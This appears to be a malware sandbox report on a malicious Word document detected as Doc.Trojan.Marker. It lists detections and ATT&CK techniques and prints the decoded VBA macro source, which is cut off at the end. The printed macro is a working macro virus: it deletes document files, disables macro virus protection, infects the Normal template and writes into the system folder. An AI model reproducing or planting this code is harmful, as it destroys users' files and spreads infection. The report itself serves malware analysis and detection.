MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a VBA macro that is triggered by the Document_Open event. The macro attempts to modify system settings and potentially download further malicious content, as indicated by the ClamAV detections and the presence of VBA macros. The macro also attempts to obfuscate its actions by manipulating application settings and potentially deleting files.
Heuristics 4
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ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-35
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12549 bytes |
SHA-256: 017b939b94bcdd3557c2e33b41332fc85f6b265d894ed58dfdd03788e0fd8fbe |
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Detection
ClamAV:
Doc.Trojan.Marker-13
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
"LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
If DI Then
NTS = NormalTemplate.Saved
Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
For i = 1 To Len(Application.UserAddress)
If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
Users = Users & Mid(Application.UserAddress, i, 1)
End If
Else
Users = Users & Chr(13) & " '"
End If
Next
Jon = Jon & Chr(13) & _
"' " & Format(Time, "hh:mm:sc AMPM-") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & Users & Chr(13) & Chr(13) & " "
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString Jon
If NTS Then NormalTemplate.Save
End If
If NTI Then
DS = ActiveDocument.Saved
Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString Jon
If DS Then ActiveDocument.Save
End If
End If
Return
LoggingIn:
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
Open RootsyS & "\Jon.html" For Output As #1
Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
Print #1, "<font normal></center>To the very best that happen in mylife<p>"
Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
Print #1, "<p>I think of you, I THINK OF YOU.<p>"
Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
Print #1, "<p>Dear Iin, I close my eyes and see your face. That's all I have to do to be with you. "
Print #1, "<p>Dear Iin, altough I can not touch your face. I know what I can do to be with you "
Print #1, "<p>Long ago so faraway. But t
... (truncated)
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